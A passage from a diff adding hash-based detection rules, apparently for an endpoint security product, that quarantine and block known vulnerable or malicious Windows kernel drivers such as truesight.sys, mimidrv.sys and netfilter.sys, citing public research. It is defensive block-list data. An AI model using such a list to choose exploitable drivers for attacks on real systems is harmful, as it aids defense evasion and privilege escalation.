+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494565Z",
+  "creation_date": "2026-03-23T11:45:31.494567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06f34294ae1fa7ee0e3c46af301a7c486f08377ce0621c078382f7beed5a66d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa6a9347-b685-5cb6-86db-fa8bdddc8064",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967290Z",
+  "creation_date": "2026-03-23T11:45:29.967293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04e88b7717aadc6b56dfa006b9414fc2c899c398d7e003627770e07fed52edfd",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa6b6a9e-6c24-5324-bcdc-127b37318ad0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474923Z",
+  "creation_date": "2026-03-23T11:45:30.474926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6d5d997bbb55b2328c6486595f6f3070a0d03b4dd7c1d2ec1510f43e61b9bcd",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa86f42d-4c8b-58d6-b70d-b893186e4c2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154264Z",
+  "creation_date": "2026-03-23T11:45:31.154266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "605165377339773fb440d0923fbdc1b12569de46e52b10496bd0fe72774001c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aaa6d240-abec-5f9b-ae9b-9520f10e9d08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825486Z",
+  "creation_date": "2026-03-23T11:45:30.825488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76d9641d60b8addda570a0f669b521afcc8552c5bbae08f10997cb512e226172",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aaab8eae-21dc-5991-9052-be5c46e7ab59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620141Z",
+  "creation_date": "2026-03-23T11:45:29.620143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620149Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b97f870c501714fa453cf18ae8a30c87d08ff1e6d784afdbb0121aea3da2dc28",
+  "comment": "Intel vulnerable drivers (aka semav6msr.sys and piddrv64.sys) [https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aab1141e-826a-5bd2-b087-723314de727f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829014Z",
+  "creation_date": "2026-03-23T11:45:31.829017Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13f91297fe2a1a582483c186dbc70d7dbaa53802d639584c1f809eb73dfa3604",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aad3455c-7963-5cfd-8697-e88d53045f61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807408Z",
+  "creation_date": "2026-03-23T11:45:31.807410Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807416Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b59418c8276ece28f801fd2566c230cd66a2ab5b7b200de4743e495f5a772b34",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aad96b9f-4f01-58f9-91c9-037335bbd4c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149451Z",
+  "creation_date": "2026-03-23T11:45:31.149454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad5ddf3ea6ccdd15e056c8f0a6cbda25c68db0780307a7f35aaf19a7a11b4b2d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aadb2840-b4b9-5438-ba43-e17b115231a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815916Z",
+  "creation_date": "2026-03-23T11:45:31.815918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "accff182f5536f07e09f5b618bd22b0fa5c91f7a29e248dca0a910272d2fe26e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aaddc46a-5ded-544c-adae-a45e0d9d0c7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608172Z",
+  "creation_date": "2026-03-23T11:45:29.608174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608179Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "353aad3d49624aa250019ca2ced8983c7726f500f89165342683555a7ccfda42",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aae9c26a-ee13-5a58-9f3d-87b3df71199a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979499Z",
+  "creation_date": "2026-03-23T11:45:29.979501Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4734a0a5d88f44a4939b8d812364cab6ca5f611b9b8ceebe27df6c1ed3a6d8a4",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aaf4d2ab-42b1-56c4-b7e5-53fcb455480a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490191Z",
+  "creation_date": "2026-03-23T11:45:31.490193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b717e36d39419311eb5046d6239adf4d4bb3d940a80b977456f05ea63a6fe46b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aafe6b63-a23a-53dc-8fc0-97ef6a80f6ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141629Z",
+  "creation_date": "2026-03-23T11:45:31.141631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd5eff8c4331b7fa1f066deb4524af3681539544327bd1134f06697943f8d379",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aafff0d5-e908-5e7f-8f58-07ad62346a90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145038Z",
+  "creation_date": "2026-03-23T11:45:32.145040Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc2606740e4648c3732541db929f2e02ea8567520d35de57c671e93c71e632f3",
+  "comment": "Vulnerable Kernel Driver (aka dellinstrumentation.sys) [https://www.loldrivers.io/drivers/86b9c8d6-9c59-4fd4-befd-ab9a36a19e36/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab16375b-b57a-5c79-826c-a211bbf8acf8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978843Z",
+  "creation_date": "2026-03-23T11:45:29.978845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "641490e28b2a1ee223238f5d969b5abf60a1089afe597c4251b285449e6b3b04",
+  "comment": "Vulnerable Kernel Driver (aka speedfan.sys) [https://www.loldrivers.io/drivers/137daca4-0d7b-48aa-8574-f7eb6ad02526/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab1ca660-74ba-55e9-b571-a1cc9450dbc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471018Z",
+  "creation_date": "2026-03-23T11:45:30.471022Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9914ac1acbdc493d78c289bd185c301498c312602cabfcae8aa86cecb9fd14c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab20824e-23cf-5d11-bd45-4883a7474d70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819676Z",
+  "creation_date": "2026-03-23T11:45:31.819680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7506436dac00fddc3c1a39cc9ccd2030aec68d32434470397d7bd10fc12e091f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab2d6424-d24f-5435-a2e9-96ec1b0f619b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610066Z",
+  "creation_date": "2026-03-23T11:45:29.610068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e16a01ef44e4c56e87abfbe03b2989b0391b172c3ec162783ad640be65ab961",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab323f2d-36fb-5ab4-abb1-9dc42bb78b8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485288Z",
+  "creation_date": "2026-03-23T11:45:31.485292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac3a4d715589062cac8369ce06f5be060a6bc2fe5d960c8e52bfc755a64792b9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab339e5d-1d36-5830-bc6f-7f19205cf25c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822209Z",
+  "creation_date": "2026-03-23T11:45:30.822211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822217Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcf3c0762d6600506ff3b2f13ac6d978041b0b50131b3a564a558611dd3b96df",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab3b1d48-00a7-5317-9a79-eedba87a0815",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823106Z",
+  "creation_date": "2026-03-23T11:45:30.823108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b57569aaa0f4789d9642dd2189b0a82466b80ad32ff35f88127210ed105fe57",
+  "comment": "Vulnerable Kernel Driver (aka atlAccess.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab49e97c-313e-59e1-ae4a-bea5d7b46d6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148312Z",
+  "creation_date": "2026-03-23T11:45:31.148314Z",
+  "enabled": true,
